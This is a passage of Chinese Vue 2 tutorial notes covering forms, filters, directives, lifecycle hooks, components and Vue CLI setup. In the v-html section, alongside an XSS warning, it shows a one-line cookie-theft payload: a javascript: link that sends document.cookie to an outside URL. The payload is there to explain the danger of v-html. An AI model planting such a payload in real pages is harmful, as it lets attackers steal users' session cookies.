	el:'#root', 
	data:{
		userInfo:{
			account:"",
			password:"", 
			sex:"female", 
			hobby:[], // checkbox多选使用数组接收,如果勾选了学习,hobby就会变成['study',]
			city:'beijing', // 设置默认选中value='beijing'的选项
			other:"", 
			agree:"",
		}
	},
	methods:{
		demo(){
			console.log(JSON.stringify(this.userInfo)) // 将js对象转为JSON格式的字符串
		},
	}
})
</script>

收集表单数据总结

  1. 若输入类型是<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。
  2. 若输入类型是<input type="radio"/>,则v-model收集的是value值,我们要手动给标签配置value属性和值。
  3. 若输入类型是<input type="checkbox"/>
    • 如果没有配置input标签的value属性,那么收集的就是checked的值(勾选or未勾选,是布尔值)
    • 如果配置了input的value属性:
      • 如果v-model的初始值是非数组,那么v-model收集到的值就是checked(勾选or未勾选,布尔值),如果v-model的值是true,该checkbox就会勾选,反之同理
      • 如果v-model的初始值是数组,那么收集的的就是value组成的数组。一般用数组来接收checkbox类型的数据

备注: v-model的三个修饰符

  1. lazy:等待输入框失去焦点再收集数据 (再变更绑定数据对应的变量值)
  2. number:输入字符串转为有效的数字
  3. trim:输入首尾空格过滤

引入第三方库给Vue使用

在vue中导入第三方库给vue使用,在html头部引入即可

<head>
	<meta charset="UTF-8">
	<title>Document</title>
	<script type="text/javascript" src="../js/vue.js"></script>
	<script type="text/javascript" src="../js/dayjs.min.js"></script>
</head>
new Vue({
	computed:{
		fmtTime(){
			return dayjs(时间戳).format("YYYY-MM-DD HH:mm:ss") // 调用第三方库dayjs的方法,参数传时间戳,如果没有时间戳,则使用当前时间
		}
	}
})


过滤器

<div id="root1">
	<span>{{a | callMethod}}</span>
	<!-- 在变量后使用管道符,管道符后使用一个过滤器,在读取这个表达式时,会将前面的变量(这里是a这个变量)传给过滤器作为参数,然后调用过滤器的回调函数-->

	<span>{{a | callMethod('abc')} | callMethod2}</span>
	<!-- 在变量后使用管道符,管道符后使用一个过滤器,在读取这个表达式时,会将前面的变量(这里是a这个变量)传给过滤器作为参数,然后调用过滤器的回调函数-->

		<span>{{a | callMethod3}</span> 
</div>

<div id="root2"> <!-- 容器2-->
	<span :x="b | callMethod3">abc</span>
	<!-- 使用全局过滤器来过滤 -->
</div>




// 定义全局过滤器,可以实现多个vue实例共用一个过滤器,但必须在创建Vue实例之前创建过滤器,这样所有的实例所绑定的容器都可以使用该过滤器了
Vue.filter('callMethod3',function(){
	// 业务逻辑
})

new Vue({
	el:'#root1',
	data:{
		a:1,
	},
	filters:{ // 局部过滤器,只能在当前对象的绑定容器中使用
		callMethod(value, param2='bbc'){ // 可变长参数,可以给形参设置默认值
			return value+param2;
		},
		callMethod2(value){ // 接收到的形参的值就是前一个过滤器的返回值或者是本过滤器管道符前面的变量
			return value++;
		},
	}
})

new Vue({
	el:'#root2',
	data:{
		b:1,
	},
})

过滤器总结

  1. 定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
  2. 语法
    • 注册过滤器:Vue.filter(name,callback)(注册全局过滤器)或new Vue{filters:{过滤器名称(){过滤器业务逻辑}}}(注册局部过滤器,只能在当前对象的绑定容器中使用)
    • 使用过滤器:{{xxx|过滤器名}}v-bind:属性="xxx|过滤器名"
  3. 备注
    • 过滤器也可以接收额外可变长参数、多个过滤器也可以串联依次执行
    • 并没有改变原本的变量的数据,只是将数据处理后用于展示

内置指令v-text

v-text:向所在的标签插入内容 (覆盖性插入内容,标签原有的内容都会被覆盖) 
<div v-text="name">aaa</div>
<!-- 标签内的"aaa"会被清除并将data.name的值渲染出来 -->

<div v-text="name2">321</div> 
new Vue({
	data:{
		name: "孙悟空",
		name2: "<h1>本文本不会被解析成html标签</h1>",
	}
})

内置指令v-text总结

  1. 不管标签体有没有内容,只会显示和data对应变量的内容而抛弃标签内原有的内容
  2. 就算是v-text的值是写了html标签,在渲染时也不会渲染成标签,而是变量对应的值的内容

内置指令v-html

参考v-text,v-text和v-html功能上基本相同,但区别是v-html支持html标签的解析。

注意: 在网站上动态渲染html是非常危险的,只能在信任的内容上使用v-html,否则容易遭受xss攻击,永远不要在用户提交的内容上使用v-html将用户提交的内容解析成html!!!

攻击代码演示
console.log(document.cookie)获取当前网站的cookie (用此方法只能获取非HttpOnly的cookie) ,为了安全性,都要给cookie加上HttpOnly
将cookie传给外链/a标签执行js代码,如果将一下内容解析成html就会把自己的cookie传给外链
<a href=javascript:location.href="http://www.baidu.com?"+document.cookie></a>


内置指令v-cloak

如果获取vue.js很慢时,可能还没获取到vue.js,就已经把原有vue代码渲染到屏幕上了,然后等到获取vue.js并执行了才会将vue代码转为html代码,这就给前端带来了很不好的体验。可以先给标签加上v-cloak属性,并将该属性设置为不可见,那么在获取到vue.js并实例化、渲染成html之前,带有该属性的标签还是保持原有的不可见状态。等到Vue实例化了之后,Vue会自动将带有v-cloak属性属性的标签都设置为可见状态,这就避免了这个问题。
给标签加上v-cloak属性后,不会有任何样式上的影响,再定义一个css的属性选择器选择v-cloak属性设置为display:none,就可以实现在获取vue资源文件(vue.js)并执行Vue代码之前,将有v-cloak属性的标签隐藏,等获取到vue资源文件(vue.js)并执行js代码后,Vue会自动把v-cloak属性给删除,不影响正常使用。

<script type="text/javascript" src="https://.../vue.js"></script> <!-- 如果这里从网络获取到的资源 (vue.js) 很慢卡在这里,下面的vue模板也不会被渲染出来,而是将原有的vue的代码显示出来了,直到获取并执行vue代码 才会将vue的代码渲染成html正常的内容,则过程会造成用户体验下降-->

<div id="root"> 
		<span v-cloak>{{abc}}</span>
	<!--下面的样式定义了将带有v-cloak属性的标签进行隐藏 -->
</div>

<script>
	new Vue({
		data:{abc:123}
	});
</script>

<style>
		[v-cloak]{display:none !important;}
	<!--使用属性选择器将有v-cloak属性的标签隐藏-->
</style>

内置指令vue-once

vue-once的标签只渲染一次
<span vue-once>{{abc}}</span> <!--只渲染第一次,之后该标签内的变量就算再改变,该标签页也不会再渲染了 -->


内置指令vue-pre

vue-pre:跳过其所在标签的编译过程,Vue不会编译该标签,可以提高编译速度。
有vue-pre的标签Vue不会去接管该标签,标签中的vue指令也不会被解析。应该用于没有vue语法的标签中跳过vue的解析,提高性能。
<span vue-pre>{{abc}}</span> <!-- 在html会被直接渲染成 <span vue-pre>{{abc}}</span> -->


自定义指令

<body>
<!--
需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大1日倍。
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点
-->
<!-- 准备好一个容器-->
	<div id="root">
		<h2>当前的n值是:<spanv-text="n"></span></h2>
		<h2>n值+1+2后放大10倍后的n值是:<span v-big="n+1+2"></span></h2>
		<h2>name = <span>{{name}}</span></h2>
		<button @click="n++">点我n+1</button>
		<input type="text" v-fbind:value="n">  <!-- v-bind功能类似-->
	</div>
</body>
<script type="text/javascript">
	Vue.config.productionTip =false; // 不要在控制台输出生产环境提示
	new Vue({
		el:"#root", 
		data:{n:99, name:'bac'},
		directives:{ // 有2种写法,一种是函数形式、一种是对象形式
			big(element,binding){// 指令的回调在以下情况会被调用: 1.指令与元素 (即标签) 首次绑定成功时  2.指令所在的模板 (即指令所在的容器) 的数据被修改时。就是如果name改变,本函数也会被调用
				element.innerText = binding.value * 10; //结果是(n+1+2)*10的值。 这里就会自动给big加上前缀v-big,然后找到用了v-big的标签,作为第一个参数 (这里是element参数) ,第二个参数是v-big的的值,其中包括表达式和表达式结果,其中binding.value是获得v-big表达式"n+1+2"的结果,binding.expression是获取表达式"n+1+2"
				// console.log(element,binding.value)
			},
			fbind:{ // 使用对象形式的写法,内置了vue的几个回调函数,
				bind(element,binding){ // 指令与元素 (即标签) 首次绑定成功时会调用该函数
					element.value = binding.value;
				},
				inserted(element,binding){ // 指令所在的元素 (标签) 被插入页面时调用
					element.focus(); // 标签只有被插入html后才能调用获取焦点函数,所以只能放在inserted()中,实现首次一渲染页面就获取焦点
				},
				update(element,binding){// 指令所在的模板 (即指令所在的容器) 的数据被修改时
					element.value = binding.value;
				},
			}
		}
	})
</script>

要注意的坑

  • 坑1: 如果给指令名称设置的是多个单词,要使用"-"连接,比如写成<span v-big-number="n+1+2"></span>,那么directives中的指令名就要改成'big-number':function(参数){},或者'big-number'(参数){}

  • 坑2:在directives中所有的函数中的this都是window,而不是vue对象。如果需要获取data中的数据,就使用v-big="n+1+2"中的值,通过值传进来

  • 坑3:在new Vue时中的directives中定义的指令都是局部指令,只能给Vue对象绑定的模板使用。要定义全局自定义指令往下看


定义全局自定义指令/全局指令

如果要定义全局自定义指令,参考过滤器filter。比如要将上方的fbind改成全局指令,在实例化vue对象之前设置自定义指令即可多个容器多个vue对象共用全局指令 (此处指的fbind或v-big) 了

Vue.directive('fbind',{
				bind(element,binding){ // fbind指令与元素 (即标签) 首次绑定成功时会调用该函数
					element.value = binding.value;
				},
				inserted(element,binding){ // fbind指令所在的元素 (标签) 被插入页面时调用
					element.focus(); // 标签只有被插入html后才能调用获取焦点函数,所以获取焦点的动作只能放在inserted()中,实现首次一渲染页面就获取焦点
				},
				update(element,binding){// fbind指令所在的模板 (即指令所在的容器) 的数据被修改时调用
					element.value = binding.value;
				},
			})
Vue.directive('big',function(element,binding){element.innerText = binding.value * 10;},)

自定义指令总结

  1. 定义自定义指令语法

    • 局部指令:new Vue({directives:{指令名:指令配置对象}new Vue({directives{指令名:指令回调函数})})
    • 全局指令:Vue.directive('指令名',指令配置对象)Vue.directive('指令名',回调函数)
  2. 配置对象中常用的3个回调

    • bind():指令与元素成功绑定时调用。
    • inserted():指令所在元素被插入页面时调用。
    • update():指令所在模板结构被重新解析时调用。
  3. 备注

    • 指令定义时不加v-,但在标签上使用时要加v-作为前缀;
    • 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。

Vue的生命周期

new Vue({data:{},mounted(){}}) // vue完成模板解析,并把初始的真实DOM放入HTML页面后会调用mounted这个方法。
生命周期函数中的thisvm实例即当前的vue实例对象,或者是组件实例对象。

Vue生命周期函数的执行过程

  1. beforeCreate(): new Vue()后,Vue先初始化生命周期和事件,然后再调用beforeCreate(),此时数据代理还未开始,所以还无法通过vm访问到data中的数据,以及methods中的方法。
  2. created(): 调用完成beforeCreate()后,Vue接着初始化数据监测、数据代理,完成后,调用created(),此时就可以通过vm访问到data中的数据,以及methods中的方法。
  3. vue会看是否有el这个配置,如果没有el配置,就等待vm.$mount()的执行然后接着下一步
  4. 如果有el配置就看是否有template(和el、data同级)这个配置,如果有则渲染template的值作为html替换掉el的值所对应的容器 (注: template的值的HTML只能有一个根标签,且不能是template标签) ,如果没有就渲染el所绑定的容器及容器内的所有内容作为模板。到这里是解析模板阶段,会在此阶段生成虚拟DOM,还没有生成真实DOM
  5. beforeMount(): 到这里页面呈现的是未经Vue编译的内容,下一步Vue会将模板编译,并生成真实DOM然后渲染到页面上,所以此时对DOM操作会被之后的Vue对模板的编译给覆盖
  6. 执行完beforeMount()后,vue将内存中的虚拟DOM转为真实DOM并渲染到页面上,到这里初始化阶段就结束了。
  7. mounted()【重要、常用于初始化】: 在真实DOM并渲染到页面上以后,会调用mounted(),此时页面上呈现的DOM是经过Vue编译的DOM,可以对DOM操作 (不建议,因为Vue底层就是帮我们操作DOM的,此时我们手动操作DOM显得多此一举) 。一般在这里开启定时器、发送网络请求、订阅消息、绑定自定义事件等初始化操作。
  8. beforeUpdate(): 如果数据有修改,则会调用此方法,此时数据改了,但是页面还未重新渲染。
  9. Vue会根据新数据生成新的虚拟DOM,然后与旧的虚拟DOM进行比较,如果能复用的地方就复用,然后生成真实DOM渲染到页面上,最终完成页面更新
  10. updated(): 在数据修改且页面更新完成之后,会调用此方法
  11. 当vm.$destroy()被调用时 (注: 一般很少主动调用此方法) ,Vue就准备进入销毁阶段了,然后就会调用beforeDestroy和destroyed钩子 (回调函数) ,完成销毁一个实例并清理与其他实例的连接,且解绑vm的全部指令与自定义事件监听器 (自定义事件在前面的知识中还没讲过) ,原生已经渲染到页面上的dom事件并不会被清除。
  12. beforeDestroy()【重要、常用于取消消息订阅等操作】: 在vue对象销毁之前会调用此方法,此时vm所有的data、methods、指令等都还处于可用状态,但此时如果对数据进行修改,vue也不会更新页面了。一般在此阶段 (此方法) 关闭定时器、取消订阅消息、解绑自定义事件等准备销毁前的停止操作
  13. 移除事件监听器、子组件、watchers监视器 (watch里面的那些方法)
  14. destroyed(): 在vue对象销毁之后,会调用此方法,此时vm所有的data、methods、指令等全都不可用。只可以执行普通的js操作。

总结: 生命周期钩子一共有8个,即4对。创建之前、之后;挂载之前、之后;数据更新之前、之后;销毁之前、之后。

image.png

学完Vue之后,会学到以下11个生命周期钩子

  1. create一对:beforeCreate()、created();
  2. mount一对:beforeMount()、mounted();
  3. update一对:beforeUpdate()、updated();
  4. destroy一对:beforeDestroy()、destroyed();
  5. active一对(路由组件独有的生命周期钩子):actived()路由组件被激活时调用、deactived()路由组件失活时调用
  6. nextTick:下次渲染模板前触发

Vue中数据的共享

new Vue({
	data:{},
	methods:{stop(){clearInterval(this.myInterval);}}, // 这样就可以拿到mounted中创建的定时器了
	mounted(){this.myInterval = setInterval(()=>{console.log("abc")},1000)},
})

我对钩子的理解

钩子函数简而言之就是回调函数。比如生命周期函数也叫生命周期钩子,在一个程序的生命周期过程会调用生命周期对应的函数,相当于把该函数内的代码用鱼钩勾出来执行一样。
同理,在某个比如XX程序中,如果一个函数被回调 (该函数内的代码被XX程序钩出来调用) ,那么这个函数也是XX程序的一个钩子。


组件/组件化编程


模块与组件、模块化与组件化

前端中的模块: 向外提供特定功能的js程序、一般就是一个js文件,作用是可以多个其他的js引用该js实现复用。

用组件方式编写应用【图】

image.png




组件的定义【图】

image.png

组件: 用来实现局部功能的代码和资源集合 (html/css/js/img/字体/音频…)
模块化: 当应用中的 js 都以模块来编写的, 那这个应用就是一个模块化的应用。
组件化: 当应用中的功能都是多组件的方式来编写的, 那这个应用就是一个组件化的应用。


非单文件组件

非单文件组件: 在一个html文件中有多个组件,就是将一个或多个组件定义在另一个组件或者Vue实例里面。
非单文件组特点:

  1. 模板编写时候是用``包裹起来的类似字符串,所以没有代码提示
  2. 没有构建过程, 无法将 ES6 转换成 ES5
  3. 不支持组件的 CSS
  4. 真正开发中几乎不用

在vue中定义/创建非单文件组件

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>基本使用</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<div id="root">
			<hello></hello> <!-- 第三步: 编写组件标签 (该标签是全局组件,下面会定义)  -->
			<h1>{{msg}}</h1>
			<school></school> <!-- 第三步: 编写school组件标签 -->
			<xuesheng></xuesheng> <!-- 第三步: 编写xuesheng组件标签 -->
		</div>

		<div id="root2">
			<hello></hello>
		</div>
	</body>

	<script type="text/javascript">
		//第一步: 创建school组件,定义模板、数据或方法
		const school = Vue.extend({
			template:`
				<div class="demo">
					<h2>学校名称: {{schoolName}}</h2>
					<h2>学校地址: {{address}}</h2>
					<button @click="showName">点我提示学校名</button>	
				</div>
			`,
			// el:'#root', //组件定义时,一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器。
			data(){
				return {
					schoolName:'尚硅谷',
					address:'北京昌平'
				}
			},
			methods: {
				showName(){
					alert(this.schoolName)
				}
			},
		})

		//第一步: 创建student组件
		const student = Vue.extend({
			template:`
				<div>
					<h2>学生姓名: {{studentName}}</h2>
					<h2>学生年龄: {{age}}</h2>
				</div>
			`,
			data(){
				return {
					studentName:'张三',
					age:18
				}
			}
		})
		
		//第一步: 创建hello组件
		const hello = Vue.extend({
			template:`
				<div>	
					<h2>你好啊!{{name}}</h2>
				</div>
			`,
			data(){
				return {
					name:'Tom'
				}
			}
		})
		
		//第二步: 全局注册组件,就可以一个组件在不同的vue实例中使用了。第一个参数是作为组件名称 (即该值是要作为组件标签名称的) ,第二个是组件变量
		Vue.component('hello',hello)

		//创建vm
		new Vue({
			el:'#root',
			data:{
				msg:'你好啊!'
			},
			//第二步: 注册组件 (局部注册) 
			components:{
				xuesheng: student, // 使用"组件名 (作为标签名) :组件值"
				school // 如果"组件名:组件值"的组件名和组件值相同,可以直接写成变量。即school = {'school':5},school也就是'school':5
			}
		})

		new Vue({
			el:'#root2',
		})
	</script>
</html>

定义和使用组件步骤

  1. 定义组件(创建组件)
    使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别,区别如下:

    • el不要写,因为终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。
    • data必须写成函数,这样就可以避免组件被复用 (在多个地方用了同一个组件,即实例化出来多个相同的组件) 时,数据存在引用关系,导致一个地方修改组件数据,另外使用该组件的地方也会被修改。
    • 可以给options的template属性编写组件的html结构。
  2. 如何注册组件

    • 局部注册: 靠new Vue的时候传入components选项
    • 全局注册: 靠Vue.component('组件名 (即使用组件时的标签名) ',组件对象)
  3. 编写组件标签

**定义组件时的data要写成普通函数的原因: **
如果data是对象的话,如果两个组件都用了同一个组件里的data,那么只要有其中一个组件修改该data,那么所有用到该组件的地方都会被修改,以下是原理伪代码:

// 定义一个数据对象,组件1和组件2共用这个数据对象
let data = {a:1};
const 组件1.data = data;
const 组件2.data = data;

组件1.data.a=5; // 修改组件1的data.a

console.log(组件2.data.a);// 也会等于5,这是不好的。

但是如果把data改成函数形式: 
let data = function(){return {a:1}};
const 组件1.data = data();
const 组件2.data = data();

组件1.data.a=5;
console.log(组件2.data.a);// 依然还是1,不会破坏data中的数据。

几个要注意的点
1.关于组件名
+ 一个单词组成
- 写法1: school(首字母小写)
- 写法2: School(首字母大写)
+ 多个单词组成
- 写法1: componenets:{'my-school':school的变量} (kebab-case命名,会自动渲染成<MySchool>)
- 写法2: componenets:{'MySchool':school的变量} (CamelCase首字母大写的命名,会自动渲染成<MySchool>,需要使用Vue脚手架才能用这种写法)
+ 备注
- 组件名不要和HTML标签名称相同,否则会引发冲突,例如: h2、H2都不行。
- 可以在定义组件时,在和data同级使用name:"值"配置项指定组件在开发者工具中呈现的名字,name的值就是。

2.关于组件标签
+ 写法1: <school></school>
+ 写法2: <school/>
+ 注: 不用使用脚手架时,使用多个<school/>自闭合形式的标签时,会只渲染第一个标签,第二个该标签及之后的都不会渲染。

3.组件的简写方式
const school = Vue.extend({配置对象}) 也可简写为: const school = {配置对象},然后再在vm中的components{"my-schlool":school}直接传入对象使用。


组件的嵌套

基本的组件嵌套,比如将组件1嵌套在组件2中

  1. 定义student组件
  2. 在student组件之后定义school组件
  3. 在school组件中的components属性注册student组件,并在school组件的模板中使用student组件的标签
  4. 将第一层组件(即student组件)注册到vm的组件上
<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>组件的嵌套</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<school></school>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		//定义student组件
		const student = Vue.extend({
			name:'student',
			template:`
				<div>
					<h2>学生姓名: {{name}}</h2>	
					<h2>学生年龄: {{age}}</h2>	
				</div>
			`,
			data(){
				return {
					name:'尚硅谷',
					age:18
				}
			}
		})
		
		//定义school组件,并将student组件注册到school组件上
		const school = Vue.extend({
			name:'school',
			template:`
				<div>
					<h2>学校名称: {{name}}</h2>	
					<h2>学校地址: {{address}}</h2>	
					<student></student>
				</div>
			`,
			data(){
				return {
					name:'尚硅谷',
					address:'北京'
				}
			},
			components:{ //注册组件 (局部) 
				student
			}
		})

		//创建vm,并将school组件注册到vm上
		new Vue({
			el:'#root',
			components:{school} // 注册组件 (局部) 
		})
	</script>
</html>

注意: 大项目的标准开发会定义一个组件叫app,这个组件注册给vm,然后其他组件都由app管理,即vm管理app组件,其他组件再注册到app组件上,一层一层嵌套。类似于董事长 (Vue实例vm) 只管理CEO (组件实例vc) ,CEO管理着底下的部门 (其他组件的实例vc) 。代码如下:

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>组件的嵌套</title>
		<!-- 引入Vue -->
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>

	<body>
		<div id="root"></div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		// 定义student组件
		const student = Vue.extend({
			name:'student',
			template:`
				<div>
					<h2>学生姓名: {{name}}</h2>	
					<h2>学生年龄: {{age}}</h2>	
				</div>
			`,
			data(){
				return {
					name:'尚硅谷',
					age:18
				}
			}
		})
		
		// 定义school组件
		const school = Vue.extend({
			name:'school',
			template:`
				<div>
					<h2>学校名称: {{name}}</h2>	
					<h2>学校地址: {{address}}</h2>	
					<student></student>
				</div>
			`,
			data(){
				return {
					name:'尚硅谷',
					address:'北京'
				}
			},
			components:{ // 注册组件 (局部) 
			// 这里是简写,相当于components:{'student':student},所以可以在模板中使用<student>标签
				student
			}
		})

		// 定义hello组件
		const hello = Vue.extend({
			template:`<h1>{{msg}}</h1>`,
			data(){
				return {
					msg:'欢迎来到尚硅谷学习!'
				}
			}
		})
		
		// 定义app组件,并将其他组件注册到app组件上,由app组件管理这些组件
		const app = Vue.extend({
			template:`
				<div>	
					<hello></hello>
					<school></school>
				</div>
			`,
			components:{
			// 这里是简写,相当于components:{'school':school, 'hello': hello},所以可以在模板中使用<hello>和<school>标签
				school,
				hello
			}
		})

		// 创建vm,并将app注册到vm上,vm只管理app组件
		new Vue({
			template:'<app></app>',
			el:'#root',
			components:{app} //注册组件 (局部) 
		})
	</script>
</html>

关于VueComponent/Vue.extend()做了什么事

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>VueComponent</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>

	<body>
		<!-- 
		关于VueComponent: 
			1.school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend调用时生成的。
			2.我们只需要写组件标签<school/>或<school></school>,Vue解析到组件标签<school/>或<school></school>时会帮我们创建school组件的实例对象,即Vue帮我们执行的: new VueComponent(options),写多少个<school/>标签,vue就new多少个VueComponent (new多少个School组件实例对象) 
			3.特别注意: 每次调用Vue.extend(),返回的都是一个全新的VueComponent!!!
			4.关于this指向: 
					(1).组件配置中: data函数、methods中的函数、watch中的函数、computed中的函数,它们获取到的this均是【VueComponent实例对象】。
					(2).new Vue(options)配置中: data函数、methods中的函数、watch中的函数、computed中的函数 它们的this均是【Vue实例对象】。
			5.VueComponent的实例对象,以后简称vc (也可称之为: 组件实例对象) ;Vue的实例对象,以后简称vm。
		-->
		<div id="root">
			<school></school>
			<hello></hello>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false
		
		// 定义school组件
		const school = Vue.extend({
			name:'school',
			template:`
				<div>
					<h2>学校名称: {{name}}</h2>	
					<h2>学校地址: {{address}}</h2>	
					<button @click="showName">点我提示学校名</button>
				</div>
			`,
			data(){
				return {
					name:'尚硅谷',
					address:'北京'
				}
			},
			methods: {
				showName(){
					console.log('showName',this)
				}
			},
		})

		const test = Vue.extend({
			template:`<span>atguigu</span>`
		})

		// 定义hello组件,并使用
		const hello = Vue.extend({
			template:`
				<div>
					<h2>{{msg}}</h2>
					<test></test>	
				</div>
			`,
			data(){
				return {
					msg:'你好啊!'
				}
			},
			components:{test} // 这里是简写,相当于components:{'test':test},所以可以在模板中使用<test>标签
		})

		// 创建vm
		const vm = new Vue({
			el:'#root',
			components:{school,hello}
		})
	</script>
</html>

关于组件

官方解释: 组件是可复用的vue实例,所以new Vue和Vue.component传的参数可以一样。区别在于vm有el属性,vc (VueComponent组件) 没有el属性


Vue和VueComponent的关系

  1. 一个重要的内置关系: VueComponent.prototype.proto === Vue.prototype
  2. 为什么要有这个关系: 让组件实例对象 (vc) 可以访问到 Vue原型上的属性、方法。
分析Vue与VueComponent的关系【图】

image.png


单文件组件

单文件组件: 写在.vue文件中,且该vue文件只能有一个组件。

单文件组件的文件命名规则

  1. 如果组件名只有一个单词,写成全小写或者首字母大写都可以,比如school.vue,School.vue。
  2. 如果组件名是多个单词,使用-连接或者首字母大写的驼峰命名法,比如my-school.vue或MyShool.vue。 (一般使用MyShool.vue这种方式命名)

单文件组件.vue文件的组成

  1. 模板页面: <template>页面模板</template>
  2. JS模块对象
	<script>
	export default {data() {return {}}, methods: {}, computed: {}, components: {}}
	</script>
  1. 样式

单文件例子,Student组件Student.vue:

<template> <!-- template标签在渲染到html上的时候不会被渲染出来 -->
	<div class="demo"> <!-- 根标签必须只能有一个 -->
		<!-- 这里写组件的结构 -->
	</div>
</template>

<script>
	// import person from './Person.vue' // 引入Person组件
	// import person from './Person' // 同上,引入Person组件,写不写后缀都可以

	// 这里写组件的js业务逻辑,最后暴露出去,暴露的几种方式参考js的暴露方式,一样的
	 export default {
		name:'Student', 
		// 这个name的值是自定义的,用在浏览器的Vue开发者插件使用时看的,但建议最好和当前.vue文件名一致,
		// 且name的值不能和HTML的标签重名,因为组件最终也要写成标签使用,否则vue组件标签和HTML标签重名会有冲突。
		data(){
			return {
				name:'张三',
				age:18
			}
		}
	}
</script>

<style>
	/* 这里写组件的样式*/
	.demo{
		background-color: orange;
	}
</style>

入口文件
定义好多个单文件组件后,最后再定义个单文件组件App,然后使用这个App组件引入其他先前的组件,用App组件管理其他组件,然后创建一个名为index.js或main.js或app.js,这个.js文件也叫入口文件,然后在里面定义vm,将App这个组件引入vm,然后HTML应用这个.js即可。
main.js:

import App from './App.vue'
new Vue({
	el:'#root',
	template:`<App></App>`,
	components:{App},
})

index.html:

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>练习一下单文件组件的语法</title>
	</head>
	<body>
		<!-- 准备一个容器 -->
		<div id="root"></div>
		<script type="text/javascript" src="../js/vue.js"></script>
		<script type="text/javascript" src="./main.js"></script>
	</body>
</html>

Vue脚手架的使用

Vue脚手架: 也叫Vue-CLI (command line interface,译命令行接口工具) ,官网cli.vuejs.org/zh/。Vue脚手架是Vue官方提供的标准化开发工具 (开发平台) 。Vue版本和Vue脚手架版本不一定要选择一样的版本进行开发,一般Vue脚手架使用最新版的就行了,最新版的脚手架是向下兼容Vue的其他版本的。要避免用新的Vue版本搭配旧Vue脚手架版本,可能会出问题。


安装步骤

安装须知

  1. 如出现下载缓慢请配置 npm 淘宝镜像: npm config set registry https://registry.npm.taobao.org,如果不知道有没有执行过,多次执行该命令覆盖配置也没有问题。
  2. Vue 脚手架隐藏了所有 webpack 相关的配置,若想查看具体的 webpakc 配置,请执行: vue inspect > output.js

在安装nodejs后,按以下步骤操作

  1. 全局安装@vue/cli: cnpm install -g @vue/clinpm install -g @vue/cli (仅执行一次安装即可,只要不卸载,电脑重启开关机依然有效) ,如果安装过程卡住了,敲回车即可。安装完成后,关掉终端命令行窗口,再打开终端命令行窗口,就可以在电脑命令行中使用vue命令了,比如“vue xxx”
  2. cd切换到要创建项目的目录下,然后使用命令vue create xxxx创建项目。然后弹出Please pick a preset:选择预配置,选Vue2还是Vue3还是自定义。babel是用于转换js代码版本的,比如ES6转ES5,eslint是用于检查js是否语法正确。如果出现"Successfully created project 项目名"就是创建成功了。然后"Successfully created project 项目名"下面两行是提示你输入的命令cd 项目名然后npm run serve或者是yarn serve
  3. cnpm run servenpm run serve

脚手架创建的Vue项目结构

使用Vue-CLI创建的基于Vue2的项目目录结构:

vue_test(项目目录)
├─node_modules // 第三方依赖库
│	  ... 
│  
├─public
│	  favicon.ico // 页签图标
│	  index.html // 主页面 (整个应用的界面) 
│	  
├─src
│   │  App.vue // 名为App的组件,一般大型项目都使用它做第一级组件关联其他组件
│   │  main.js // 整个项目的入口文件,执行了npm run serve或yarn serve后,该文件会被执行。绑定的容器在../public/index.html中
│   │  
│   ├─assets // 静态资源文件夹,在这个文件夹下放静态资源,比如图片、字体、音频文件等
│   │	  logo.png
│   │	  
│   └─components // 组件目录,除了App.vue这个组件放./src下,其他的组件全都放在这里(./src/components)
│		   HelloWorld.vue
│  .gitignore // git版本管制忽略的配置文件,不想要git管理的就在这里设置
│  babel.config.js // babel的配置文件,一般不需要我们改动。如果要改,参考babel官网的详细配置说明
│  package.json // 项目的包配置 (包管理) 文件,包版本控制文件,该文件写了当前项目的依赖、以及常用的命令`yarn serve`等。build命令是编译.vue成.html和.css.js等文件。lint命令很少用,它是检查所有文件的所有语法。
│  package-lock.json // 如果是使用npm会有这个文件,里面描述了各种引用的包的信息,比如版本什么的 (即把包的信息锁死,下次如果再安装该包就会下载这里面指定的版本) ,如果用yarn则是对应的yarn.lock文件
│  README.md // 应用描述文件,对整个项目进行描述
│  yarn.lock // 功能和package-lock.json文件一致

index.html详解

<!DOCTYPE html>
<html lang="">
  <head>
	<meta charset="utf-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge"><!-- 针对IE浏览器的一个特殊配置,含义是让IE浏览器以最高的渲染级别渲染页面 -->
	<meta name="viewport" content="width=device-width,initial-scale=1.0"><!-- 开启移动端的理想视口,即使用手机访问,也能比传统开发的页面有更好的体验 -->

	<!-- 图标链接,<%= BASE_URL %>指的就是public的路径,如果要在HTML引入public中的资源,直接写<%= BASE_URL %>文件名全名即可 -->
	<link rel="icon" href="<%= BASE_URL %>favicon.ico">

	<!-- 配置网页标题,<%= htmlWebpackPlugin.options.title %> 是一个webpack的一个插件实现的,它会去找package.json中的name做为title -->
	<title><%= htmlWebpackPlugin.options.title %></title>
  </head>
  <body>

	<!-- 了解即可: 如果浏览器不支持js,则会渲染<noscript>标签中的元素就会被渲染到页面上。如果想要设置浏览器不支持js,可以到浏览器的设置中搜索JavaScript关闭 -->
	<noscript>
	  <strong>We're sorry but <%= htmlWebpackPlugin.options.title %> doesn't work properly without JavaScript enabled. Please enable it to continue.</strong>
